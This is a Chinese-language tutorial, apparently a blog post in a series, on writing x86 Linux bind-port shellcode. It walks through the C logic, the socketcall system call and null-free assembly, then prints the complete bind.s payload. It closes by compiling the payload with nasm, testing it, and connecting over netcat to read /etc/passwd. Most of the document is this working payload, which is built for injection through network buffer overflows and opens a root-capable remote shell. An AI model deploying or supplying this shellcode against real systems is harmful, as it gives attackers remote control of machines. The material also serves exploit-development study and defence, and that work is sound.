前面《如何編寫本地shellcode》一文介紹如何編寫shellcode取得shell進行交互。本文介紹另一個例子,綁定端口的shellcode。攻擊通過網絡利用緩衝區溢出漏洞,注入該shellcode,那就可以能過shellcode打開的端口進行利用。
Shellcode邏輯C代碼
綁定端口shellcode的邏輯很簡單:打開socket,然後綁定到端口,等待遠程進行鏈接,鏈接到後將0/1/2描述符都複製該socket上,再啓動一個shell。 代碼如下:
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock, cli;
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}
socket系統調用
上面涉及網絡操作的有幾個函數:socket,bind,listen和accept,其中參數最複雜的算是bind了。其實在i586下面,這幾個均不是系統調用,它們背後的是sockcall這個系統調用,原型爲:
int sockcall(int call, unsigned long *args)
那麼上面幾個函數最終如何調用sockcall的呢? 很簡單,它們是通過call這個參數來識別到底是哪個函數調用,而args就一個數組,每個元素主是上面各函數的參數列表:
比如socket(2, 1, 0) 是這樣調用sockcall的:
int socket(int family, int type, int protocol)
{
unsigned long array[3] = { family, type, protocol);
return sockcall(SYS_SOCKET, array); // SYS_SOCKET值爲1
}
而bind函數調用也是類似的:
int bind(int fd, struct sockaddr *addr, int len)
{
unsigned long array[3] = {fd, addr, len};
return sockcall(SYS_BIND, array); // SYS_BIND值爲2
}
其實函數類似,都是將參數打包成一個數組,然後傳給sockcall系統調用。
開始編寫Shellcode
好,我們開始編寫彙編代碼。由於sockcall系統調用只有2個參數,分別佔用ebx和ecx,那個edx是沒有使用,可以讓存放0值,在需要0的地方直接使用edx.
初始化寄存器
eax, ebx, ecx在彙編代碼中分別表示系統調用號、第一參數和第二參數,需要清零,同時edx需要長期保持爲零。
BITS 32
xor eax, eax
xor ebx, ebx
cdq ;將edx清零
編寫socket函數
socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是數組元素,寬度爲byte。因此分別將0, 1, 2壓到棧上(棧向低地址生成,所以先壓尾巴。
push edx
push byte 0x01
push byte 0x02
此時的棧底就是[2, 1, 0]數組的地址,爲sockcall的第二參數(ecx),故直接將esp值賦給ecx:
mov ecx, esp
第二參數ebx目前值爲0,需要增加1,才能變成2
inc bl
sockall系統調用號爲102,需要給eax賦值,然後進行系統調用:
mov al, 102
int 0x80
系統調用返回後,它的返回值( 後面要使用文件描述符)存放在eax中,由於後面的系統調用要使用eax來存放調用號,因此需要把該sock存放到不使用的寄存器esi中:
mov esi, eax
bind系統調用
說實話,bind系統調用應該是最難寫的一個了。首先看一下struct sockaddr_in serv_addr 變量地的定義:
struct sockaddr_in {
u16sin_family; // 本例賦值爲0x02
u16 sin_port; // 本例賦值爲0xAAAA
u32 sin_addr; // 本例賦值爲全零,表示本機所有地址
unsigned char sin_zero[8]; // 要求爲全零
};
先壓sin_zero[8],8個字節全零:
push edx
push edx
接着是sin_addr,4個字節全零
push edx
接着是sin_port,2字節,值爲0xAAAA
push 0xAAAA
最後是sin_family,2字節,值爲0x0002,但不能直接push,因此這樣會生成包含零字節指令。借用ebx值爲1,先加1,再壓到棧上:
inc bl
push bx ; 只壓2字節
OK, 整個serv_addr變量壓到棧上了,它的地址爲 esp,先要把該地址保存出來:
mov ecx, esp
還記得bind是如何調用sockcall的嗎?
sockcall(SYS_BIND, [sock, &serv_addr, 0x10])
剛纔只是將serv_addr壓到棧上,同時將它的地址暫時保存到ecx上,爲了調用sockcall系統調用來實現bind函數,還需要將[sock, &serv_addr, 0x10] 這個數組壓到棧上。記得是從尾巴壓起:
push byte 0x10 ; 0x10
push ecx ; &serv_addr
push esi ; sock
壓完後,esp就是數組地址,作爲系統調用第二參數,應該保存到ecx中:
mov ecx, esp
第一參數SYS_BIND值爲2,剛好ebx值也爲2,不需要重新賦值,直接進行系統調用:
mov al, 102
int 0x80
listen系統調用
最複雜的bind辦妥了,listen只不過是小菜一碟,直接上代碼,加上註釋:
listen(sock, 0) => sockcall(4, [sock, 0])
push edx ; 0
push esi ; sock
mov ecx, esp ;sockcall第二參數,[sock, 0]數組地址
mov bl, 0x04 ; 4, sockcall第一參數
mov al, 102
int 0x80
accept系統調用
同樣也比較簡單,請看註釋:
cli = accept(sock, 0, 0) => cli = sockcall(5, [sock, 0, 0])
push edx ; 0
push edx ; 0
push esi ; sock
mov ecx, esp ; [sock, 0, 0]地址,爲sockcall系統調用第二參數
inc bl ; 前一系統調用bl值爲4,加1後爲5,是系統調用第一參數
mov al, 102
int 0x80
accept返回的是客戶端的fd,後面的dup2操作都是圍繞它來的,需要將該返回值保存出來,在後面的dup2中,該返回值作爲第一個參數,直接將它保存在ebx中:
mov ebx, eax
dup2系統調用
不用擔心了,dup2是一個標準的系統調用,從它開始,就不需要構造數組做爲參數了,可以鬆一口氣了。爲了減少shellcode長度,使用循環來實現3次的dup2系統調用:
; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)
xor ecx, ecx
mov cl, 3
loop:
dec cl
mov al, 63
int 0x80 ; ecx分別是:2, 1, 0,ebx爲cli
jnz loop
execve系統調用
還記得之前產生字符串的技巧嗎? 直接將字符串的內容壓到棧上,不要忘了從尾巴壓起,同時要先壓零,讓字符串有結束符:
; execve("/bin/sh", 0, 0)
push ecx ; dup2完後,ecx值爲零,這裏先壓字符串結束符
push long 0x68732f6e
push long 0x69622f2f ; 這兩句將"//bin/sh"字符串壓到棧上
mov ebx, esp ; 字符串地址,作爲系統調用第一參數,放到ebx
mov edx, ecx ; ecx值已爲零,作爲系統調用第二參數;同時賦給edx,系統調用第三參數
mov al, 0x0b
int 0x80
完整的編匯代碼
我們將該彙編代碼放到bind.s文件內:
-
BITS 32
-
-
xor eax, eax
-
xor ebx, ebx
-
cdq
-
-
; soc = sockcall(1, [2, 1, 0])
-
push edx
-
push byte 0x01
-
push byte 0x02
-
mov ecx, esp
-
inc bl
-
mov al, 102
-
int 0x80
-
mov esi, eax ;store the return value(soc)
-
-
; serv_addr.sin_family = 2
-
; serv_addr.sin_addr.s_addr = 0
-
; serv_addr.sin_port = 0xAAAA
-
; bind(sock, (struct sockaddr *)&serv_addr, 0x10)
-
; => sockcall(2, [sock, &serv_addr, 0x10])
-
push edx
-
push edx
-
push edx
-
push 0xAAAA
-
inc bl
-
push bx
-
mov ecx, esp
-
push byte 0x10
-
push ecx
-
push esi
-
mov ecx, esp
-
mov al, 102
-
int 0x80
-
-
; listen(sock, 0)
-
; => sockcall(4, [sock, 0])
-
push edx
-
push esi
-
mov ecx, esp
-
mov bl, 0x04
-
mov al, 102
-
int 0x80
-
-
; cli = accept(sock, 0, 0)
-
; => cli = sockcall(5, [sock, 0, 0])
-
push edx
-
push edx
-
push esi
-
mov ecx, esp
-
inc bl
-
mov al, 102
-
int 0x80
-
mov ebx, eax
-
-
; dup2(cli, 0)
-
; dup2(cli, 1)
-
; dup2(cli, 2)
-
xor ecx, ecx
-
mov cl, 3
-
loop:
-
dec cl
-
mov al, 63
-
int 0x80
-
jnz loop
-
-
; execve("/bin/sh", 0, 0)
-
push ecx
-
push long 0x68732f6e
-
push long 0x69622f2f
-
mov ebx, esp
-
mov edx, ecx
-
mov al, 0x0b
-
int 0x80
編譯和測試
使用nasm編譯器進行編譯:
$ nasm -o bind bind.s
然後使用之前寫的sctest32測試工具進行測試。
運行Shellcode:
$ sctest32 bind
打開一個新端終,通過網絡與Shellcode打開的端口進行連接,然後獲取Shellcode,通過cat /etc/passwd命令獲取系統帳號信息:
$ netcat localhost 43690
cat /etc/passwd <-------------用戶輸入
root:x:0:0:root:/root:/bin/bash <-------------Shellcode輸出
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
......
只要運行了綁定端口Shellcode,攻擊者主可以通過sh來控制整個系統。
小結
這裏介紹的綁定端口Shellcode沒有什麼新新鮮的玩意,只是i586上的socket/bind/listen/accept不是真正的系統調用,需要做轉換而已。難點是serv_addr結構如何壓在棧空間上。這裏使用的技巧和以前是完全一樣的。